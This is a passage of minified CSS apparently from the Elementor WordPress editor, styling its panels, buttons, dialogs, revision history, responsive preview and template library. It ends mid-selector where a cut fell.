.switch-tmce{background-color:var(--e-a-bg-active)}.elementor-control-type-wysiwyg .tmce-active .switch-html{background-color:transparent}.elementor-control-type-wysiwyg .mce-toolbar-grp,.elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox,.elementor-control-type-wysiwyg .quicktags-toolbar{background-color:var(--e-a-bg-default)}.elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox button{color:var(--e-a-color-txt)}.elementor-control-type-wysiwyg .mce-toolbar-grp>div{padding:0 3px}.elementor-control-type-wysiwyg .elementor-wp-editor{box-sizing:border-box}.elementor-control-type-wysiwyg .mce-ico{color:var(--e-a-color-txt);font-size:16px}.elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover{color:var(--e-a-color-txt-active);background:var(--e-a-bg-hover);border-color:var(--e-a-border-color);box-shadow:none}.elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active i,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active i,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover i{color:var(--e-a-color-txt-active)}.elementor-control-type-wysiwyg .mce-path{padding:5px 10px}.elementor-control-type-wysiwyg .mce-path-item{font-size:12px;color:var(--e-a-color-txt)}.elementor-control-type-wysiwyg .mce-top-part:before{box-shadow:none}.elementor-control-type-wysiwyg .elementor-control-dynamic-switcher{border:none}@media screen and (prefers-color-scheme:dark){#wp-link-wrap{color-scheme:light;--e-a-color-txt:#515962;--e-a-bg-default:#fff;--e-a-border-color-bold:#d5d8dc;--e-a-color-primary-bold:#d004d4}#wp-link{color:var(--e-a-color-txt)}#wp-link input{background-color:var(--e-a-bg-default)}#wp-link input,#wp-link input[type=checkbox]{border-color:var(--e-a-border-color-bold)}#wp-link input[type=checkbox]:checked{background:var(--e-a-color-primary-bold)}#wp-link input.button-primary{background:#2271b1;border-color:#2271b1;color:#fff}}#elementor-mode-switcher{--e-a-mode-switcher-width:15px;--e-a-mode-switcher-height:50px;--e-a-mode-switcher-icon-size:15px;position:absolute;right:100%;top:50%;transform:translateY(-50%);background-color:var(--e-a-bg-default);box-shadow:-3px 1px 3px rgba(0,0,0,.05);transition:opacity .3s}#elementor-mode-switcher:hover{background-color:var(--e-a-bg-hover)}#elementor-mode-switcher:focus-within{background-color:var(--e-a-bg-active)}.e-panel-block-interactions #elementor-mode-switcher{opacity:0;pointer-events:none}#elementor-mode-switcher-preview i{display:flex;flex-direction:column;justify-content:center;width:var(--e-a-mode-switcher-width);height:var(--e-a-mode-switcher-height);font-size:var(--e-a-mode-switcher-icon-size);cursor:pointer}#elementor-mode-switcher-preview-input{display:none}.elementor-revision-item__wrapper{display:flex;align-items:center;text-align:start;width:100%;border:var(--e-a-border);border-radius:var(--e-a-border-radius);padding:10px 15px;margin-block-end:10px;font-size:11px;transition:var(--e-a-transition-hover);background-color:transparent}.elementor-revision-item__wrapper:focus,.elementor-revision-item__wrapper:hover{background-color:var(--e-a-bg-hover)}.elementor-revision-item-loading .elementor-revision-item__tools-current,.elementor-revision-item:not(.elementor-revision-item-loading) .elementor-revision-item__tools-spinner{display:none}.elementor-revision-item__gravatar{border-radius:50%;overflow:hidden}.elementor-revision-item__gravatar img{display:block}.elementor-revision-item__details{padding-inline-start:15px;flex-grow:1;cursor:pointer}.elementor-revision-meta{padding-block-start:5px;font-size:10px;font-weight:700}.elementor-revision-current-preview .elementor-revision-item__wrapper{border-color:var(--e-a-border-color-accent);background-color:var(--e-a-bg-active)}#elementor-panel-revisions-loading{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}#elementor-panel-revisions-loading .eicon-loading{font-size:50px}.elementor-panel-revisions-buttons{display:flex;justify-content:space-between;padding:15px 20px;border-block-end:var(--e-a-border)}.elementor-history-item{display:flex;align-items:center;text-align:start;border:var(--e-a-border);border-radius:var(--e-a-border-radius);padding:10px 15px;margin-block-end:10px;width:100%;font-size:11px;line-height:1.4;background-color:transparent;cursor:pointer;transition:var(--e-a-transition-hover)}.elementor-history-item:focus:not(.elementor-history-item-current),.elementor-history-item:hover:not(.elementor-history-item-current){background-color:var(--e-a-bg-hover);color:var(--e-a-txt-color-hover)}.elementor-history-item:focus:not(.elementor-history-item-current) .elementor-history-item__icon .eicon:before,.elementor-history-item:hover:not(.elementor-history-item-current) .elementor-history-item__icon .eicon:before{content:"\e924"}.elementor-history-item-current{border-color:var(--e-a-border-color-accent);background-color:var(--e-a-bg-active);color:var(--e-a-txt-color-active)}.elementor-history-item-current .elementor-history-item__icon .eicon:before,.elementor-history-item-current:focus .elementor-history-item__icon .eicon:before,.elementor-history-item-current:hover .elementor-history-item__icon .eicon:before{content:"\e90e"}.elementor-history-item__details{width:95%}.elementor-history-item__title{font-weight:700}.elementor-history-item__action,.elementor-history-item__subtitle{font-weight:lighter}.elementor-history-item__action{font-style:italic;text-decoration:underline}.elementor-history-revisions-message{font-size:11px;text-align:center;padding-block-start:5px}#elementor-panel-history{padding:20px;padding-block-end:15px}#elementor-panel-history.elementor-empty .elementor-history-revisions-message{padding-block-start:20px}#elementor-panel-history:not(.elementor-empty){margin-block-start:10px}#elementor-panel-history-no-items,#elementor-panel-revisions-no-revisions{text-align:center}#elementor-panel-history-no-items .elementor-nerd-box-icon,#elementor-panel-revisions-no-revisions .elementor-nerd-box-icon{margin-block-start:20px}.e-control-display-conditions-promotion__wrapper{display:flex;justify-content:space-between}.e-control-display-conditions-promotion__wrapper:hover .eicon-lock.e-control-display-conditions-promotion{color:var(--e-a-color-accent)}.e-control-display-conditions-promotion__description{display:flex;align-self:center}.e-control-display-conditions-promotion__text{display:inline-block}.e-control-display-conditions-promotion__lock-wrapper{width:2.5rem;display:flex;justify-content:center;align-items:center}.e-control-display-conditions-promotion.eicon-flow{align-self:flex-end;cursor:pointer;border:var(--e-a-border-bold);border-radius:var(--e-a-border-radius);padding:5px}.e-control-display-conditions-promotion.eicon-flow.filled{background-color:var(--e-a-bg-active);color:#e73cf6}.e-control-motion-effects-promotion__wrapper:hover .eicon-lock{color:var(--e-a-color-accent)}.e-control-motion-effects-promotion__wrapper .select-promotion{display:flex;flex-direction:column;justify-content:center;padding-inline-start:5px;padding-inline-end:20px;cursor:pointer;height:27px;width:100%;color:var(--e-a-color-txt);border-radius:var(--e-a-border-radius);background-color:var(--e-a-bg-default);box-shadow:none;border:var(--e-a-border-bold);font-size:var(--control-title-size)}.e-control-motion-effects-promotion__lock-wrapper{width:2.5rem;display:flex;justify-content:center;align-items:center}.e-link-promotion{font-family:Roboto,sans-serif;font-weight:500;color:#93003f}.e-link-promotion:hover{color:#93003f}.elementor-panel #elementor-panel-header #elementor-panel-header-kit-back,.elementor-panel #elementor-panel-header #elementor-panel-header-kit-close{display:none}.elementor-editor-kit .elementor-panel #elementor-panel-header #elementor-panel-header-kit-back,.elementor-editor-kit .elementor-panel #elementor-panel-header #elementor-panel-header-kit-close{display:flex}body:not(.e-routes-has-history) #elementor-panel-header-kit-back{pointer-events:none;visibility:hidden}.elementor-editor-kit .elementor-panel #elementor-panel-page-settings .elementor-panel-navigation{display:none}.elementor-editor-kit .elementor-panel #elementor-panel-page-menu{padding:25px 15px 0}.elementor-editor-kit #elementor-panel-footer-navigator,.elementor-editor-kit #elementor-panel-footer-sub-menu-item-save-template,.elementor-editor-kit #elementor-panel-header-add-button,.elementor-editor-kit #elementor-panel-header-menu-button{display:none}.elementor-control-type-global-style-repeater .elementor-repeater-fields{margin-block-end:15px;position:relative}.elementor-control-type-global-style-repeater .elementor-repeater-fields.ui-sortable-helper{background-color:var(--e-a-bg-default)}.elementor-control-type-global-style-repeater .elementor-repeater-row-controls{display:flex;align-items:center}.elementor-control-type-global-style-repeater .elementor-repeater-row-tool{cursor:pointer;color:var(--e-a-color-txt);background-color:transparent;border:none;padding:5px}.elementor-control-type-global-style-repeater .elementor-repeater-row-tool:focus,.elementor-control-type-global-style-repeater .elementor-repeater-row-tool:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-global-style-repeater .elementor-control{padding:0}.elementor-control-type-global-style-repeater .elementor-control-title{flex-grow:1}.elementor-control-type-global-style-repeater .elementor-control-title input{max-width:135px}.elementor-control-type-global-style-repeater .elementor-control-title input:not(:focus){background:none;border:none}.elementor-control-type-global-style-repeater .elementor-control-input-wrapper{display:flex;align-items:center;min-width:81px}.elementor-control-type-global-style-repeater .elementor-control-input-wrapper:hover .e-global-colors__color-value,.elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-remove,.elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-remove--disabled,.elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-sort{display:none}.elementor-control-type-global-style-repeater .elementor-repeater-row-controls>.elementor-control>.elementor-control-content>.elementor-control-field>.elementor-control-input-wrapper{margin-block-start:0}.elementor-control-type-global-style-repeater .elementor-controls-popover{align-self:end;margin-block-start:35px;top:0;width:100%}.elementor-control-type-global-style-repeater .elementor-controls-popover:before{left:5px}.elementor-control-type-global-style-repeater .elementor-controls-popover .elementor-control{padding:0 20px 15px}.elementor-control-type-global-style-repeater .elementor-controls-popover .elementor-control-title{flex-grow:0}.elementor-control-type-global-style-repeater .elementor-button-wrapper{text-align:center;border-block-start:var(--e-a-border);padding-block-start:15px}.elementor-control-type-global-style-repeater .elementor-control-popover-toggle-toggle-label,.elementor-control-type-global-style-repeater .pickr{margin-inline-start:5px}.elementor-control-type-global-style-repeater .e-sortable-placeholder{background-color:var(--e-a-color-info);opacity:.9;width:100%;margin:8px 0;height:2px}.elementor-control-system_colors,.elementor-control-system_typography{padding-block-end:0}.e-global-colors__color-value{font-size:10px;padding:0 5px;text-align:end;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}@keyframes load{0%{opacity:.3}50%{opacity:1}to{opacity:.3}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes mover{0%{transform:translateY(0)}to{transform:translateY(-5px)}}@keyframes slideDown{0%{transform:translateY(-30px)}to{transform:translateY(0)}}.e-btn,.elementor-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}.e-btn:hover,.elementor-button:hover{border:none}.e-btn:focus,.e-btn:hover,.elementor-button:focus,.elementor-button:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}.e-btn:active,.elementor-button:active{background-color:var(--e-a-btn-bg-active)}.e-btn:not([disabled]),.elementor-button:not([disabled]){cursor:pointer}.e-btn:disabled,.elementor-button:disabled{background-color:var(--e-a-btn-bg-disabled);color:var(--e-a-btn-color-disabled)}.e-btn:not(.elementor-button-state) .elementor-state-icon,.elementor-button:not(.elementor-button-state) .elementor-state-icon{display:none}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel,.e-btn.e-btn-txt,.elementor-button.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover,.e-btn.e-btn-txt:focus,.e-btn.e-btn-txt:hover,.elementor-button.e-btn-txt:focus,.elementor-button.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled,.e-btn.e-btn-txt:disabled,.elementor-button.e-btn-txt:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}.e-btn.e-btn-txt-border,.elementor-button.e-btn-txt-border{border:1px solid var(--e-a-color-txt-muted)}.e-btn.e-success,.e-btn.elementor-button-success,.elementor-button.e-success,.elementor-button.elementor-button-success{background-color:var(--e-a-btn-bg-success)}.e-btn.e-success:focus,.e-btn.e-success:hover,.e-btn.elementor-button-success:focus,.e-btn.elementor-button-success:hover,.elementor-button.e-success:focus,.elementor-button.e-success:hover,.elementor-button.elementor-button-success:focus,.elementor-button.elementor-button-success:hover{background-color:var(--e-a-btn-bg-success-hover)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over,.e-btn.e-primary,.elementor-button.e-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover,.e-btn.e-primary:focus,.e-btn.e-primary:hover,.elementor-button.e-primary:focus,.elementor-button.e-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel,.e-btn.e-primary.e-btn-txt,.elementor-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover,.e-btn.e-primary.e-btn-txt:focus,.e-btn.e-primary.e-btn-txt:hover,.elementor-button.e-primary.e-btn-txt:focus,.elementor-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}.e-btn.e-accent,.e-btn.go-pro,.elementor-button.e-accent,.elementor-button.go-pro{background-color:var(--e-a-btn-bg-accent)}.e-btn.e-accent:focus,.e-btn.e-accent:hover,.e-btn.go-pro:focus,.e-btn.go-pro:hover,.elementor-button.e-accent:focus,.elementor-button.e-accent:hover,.elementor-button.go-pro:focus,.elementor-button.go-pro:hover{background-color:var(--e-a-btn-bg-accent-hover)}.e-btn.e-accent:active,.e-btn.go-pro:active,.elementor-button.e-accent:active,.elementor-button.go-pro:active{background-color:var(--e-a-btn-bg-accent-active)}.e-btn.e-info,.e-btn.elementor-button-info,.elementor-button.e-info,.elementor-button.elementor-button-info{background-color:var(--e-a-btn-bg-info)}.e-btn.e-info:focus,.e-btn.e-info:hover,.e-btn.elementor-button-info:focus,.e-btn.elementor-button-info:hover,.elementor-button.e-info:focus,.elementor-button.e-info:hover,.elementor-button.elementor-button-info:focus,.elementor-button.elementor-button-info:hover{background-color:var(--e-a-btn-bg-info-hover)}.e-btn.e-warning,.e-btn.elementor-button-warning,.elementor-button.e-warning,.elementor-button.elementor-button-warning{background-color:var(--e-a-btn-bg-warning)}.e-btn.e-warning:focus,.e-btn.e-warning:hover,.e-btn.elementor-button-warning:focus,.e-btn.elementor-button-warning:hover,.elementor-button.e-warning:focus,.elementor-button.e-warning:hover,.elementor-button.elementor-button-warning:focus,.elementor-button.elementor-button-warning:hover{background-color:var(--e-a-btn-bg-warning-hover)}.e-btn.e-danger,.e-btn.elementor-button-danger,.elementor-button.e-danger,.elementor-button.elementor-button-danger{background-color:var(--e-a-btn-bg-danger)}.e-btn.e-danger:focus,.e-btn.e-danger:hover,.e-btn.elementor-button-danger:focus,.e-btn.elementor-button-danger:hover,.elementor-button.e-danger:focus,.elementor-button.e-danger:hover,.elementor-button.elementor-button-danger:focus,.elementor-button.elementor-button-danger:hover{background-color:var(--e-a-btn-bg-danger-hover)}.e-btn i,.elementor-button i{margin-inline-end:5px}body{--e-preview-width:calc(100% - var(--e-editor-panel-width, 300px))}body.elementor-navigator-docked{--e-preview-width:calc(100% - var(--e-editor-panel-width, 300px) - var(--e-editor-navigator-width, 0px))}body.elementor-device-desktop #elementor-preview{overflow-y:hidden;align-items:flex-start}body:not(.elementor-device-desktop) body{overflow-y:auto}#elementor-preview{background-color:#333;height:100%;border:0;width:var(--e-preview-width);display:flex;flex-direction:column;justify-content:flex-start;align-items:center;position:relative;direction:ltr}#elementor-preview>div{direction:rtl}#elementor-preview-responsive-wrapper{transform-origin:top center;padding:20px;transform:scale(var(--e-preview-scale,1))}.elementor-device-desktop #elementor-preview-responsive-wrapper{min-width:1025px;width:100%;height:100%;padding:0;position:relative}body.e-is-device-mode:not(.elementor-device-desktop) #elementor-preview-responsive-wrapper{width:var(--e-editor-preview-width);height:var(--e-editor-preview-height);margin:0 max((100vw - var(--e-editor-panel-width) - var(--e-editor-preview-width))/2,20px);box-sizing:content-box;position:relative;max-height:calc(100vh - 80px)}body.e-is-device-mode:not(.elementor-device-desktop) #elementor-preview-responsive-wrapper .ui-resizable-handle{display:flex!important}#elementor-preview-responsive-wrapper:not(.ui-resizable-resizing){transition:.3s ease-in-out}#elementor-preview-responsive-wrapper .ui-resizable-handle{top:0}#elementor-preview-responsive-wrapper .ui-resizable-handle.ui-resizable-s{top:auto;bottom:0}#elementor-preview-responsive-wrapper .ui-resizable-n,#elementor-preview-responsive-wrapper .ui-resizable-s{align-items:center;justify-content:center;height:20px}#elementor-preview-responsive-wrapper .ui-resizable-n:before,#elementor-preview-responsive-wrapper .ui-resizable-s:before{content:"";display:block;background-color:hsla(0,0%,100%,.2);width:50px;height:4px;border-radius:3px;transition:all .2s ease-in-out}#elementor-preview-responsive-wrapper .ui-resizable-n:hover:before,#elementor-preview-responsive-wrapper .ui-resizable-s:hover:before{background-color:hsla(0,0%,100%,.6);width:100px}#elementor-preview-responsive-wrapper .ui-resizable-e,#elementor-preview-responsive-wrapper .ui-resizable-w{align-items:center;justify-content:center;width:20px}#elementor-preview-responsive-wrapper .ui-resizable-e:before,#elementor-preview-responsive-wrapper .ui-resizable-w:before{content:"";display:block;background-color:hsla(0,0%,100%,.2);width:4px;height:50px;border-radius:3px;transition:all .2s ease-in-out}#elementor-preview-responsive-wrapper .ui-resizable-e:hover:before,#elementor-preview-responsive-wrapper .ui-resizable-w:hover:before{background-color:hsla(0,0%,100%,.6);height:100px}#elementor-preview-responsive-wrapper.ui-resizable-resizing .ui-resizable-handle:before{background-color:hsla(0,0%,100%,.9)}#elementor-preview-responsive-wrapper .ui-resizable-s{bottom:0}#elementor-preview-responsive-wrapper .ui-resizable-e{right:0}#elementor-preview-responsive-wrapper .ui-resizable-w{left:0}#elementor-preview-iframe{width:100%;height:100%;background-color:#fff;box-shadow:0 0 3px rgba(0,0,0,.3),0 0 20px rgba(0,0,0,.15)}#elementor-template-library-modal a.elementor-template-library-blank-footer-link{font-style:normal;text-decoration:underline}#elementor-template-library-modal .dialog-buttons-wrapper{display:none}#elementor-template-library-modal .select2-container{z-index:0}#elementor-template-library-modal .dialog-message{overflow-y:scroll}#elementor-template-library-header-menu{text-align:center}.elementor-template-library-menu-item{display:inline-block;padding:17px 20px;border-block-end:3px solid transparent;cursor:pointer}.elementor-template-library-menu-item:hover{background-color:var(--e-a-bg-hover);border-color:var(--e-a-bg-hover)}.elementor-template-library-menu-item.elementor-active{border-color:var(--e-a-border-color-accent);color:var(--e-a-color-txt-accent)}#elementor-template-library-header-actions{display:flex}#elementor-template-library-header-actions>div{padding-inline-end:16px}#elementor-template-library-header-preview-insert-wrapper{cursor:default;padding:0 10px}.elementor-template-library-template-insert+.elementor-template-library-template-generate-variation{margin-inline-start:4px}#elementor-template-library-header-preview-back{padding-block:16.5px 15px;padding-inline:0 16.5px;border-inline-end:var(--e-a-border);cursor:pointer;transition:color .5s}#elementor-template-library-header-preview-back:hover{color:var(--e-a-color-txt-hover)}#elementor-template-library-header-preview-back i{padding-inline-end:10px;font-size:18px}#elementor-template-library-header-preview-back i:before{content:"\e87d"}#elementor-template-library-templates[data-template-source=local] #elementor-template-library-templates-container{margin-block-start:10px;margin-block-end:45px;border-block-start:var(--e-a-border)}#elementor-template-library-templates[data-template-source=local] .elementor-template-library-order-input:checked+.elementor-template-library-order-label{color:var(--e-a-color-txt-active)}#elementor-template-library-templates[data-template-source=remote] #elementor-template-library-templates-container{margin:10px -15px 0}#elementor-template-library-templates[data-template-source=remote] .elementor-template-library-order-input:checked+.elementor-template-library-order-label{color:var(--e-a-color-txt-active)}#elementor-template-library-templates .elementor-template-library-order-input,#elementor-template-library-templates.elementor-templates-filter-active #elementor-template-library-footer-banner,#elementor-template-library-templates[data-template-source=empty] #elementor-template-library-footer-banner,#elementor-template-library-templates[data-template-source=empty] #elementor-template-library-order-toolbar-local{display:none}#elementor-template-library-templates .elementor-template-library-order-input:checked+.elementor-template-library-order-label{padding-inline-end:8px}#elementor-template-library-templates .elementor-template-library-order-input:checked+.elementor-template-library-order-label:after{font-family:eicons;content:"\e8ae";margin-inline-start:3px}#elementor-template-library-templates 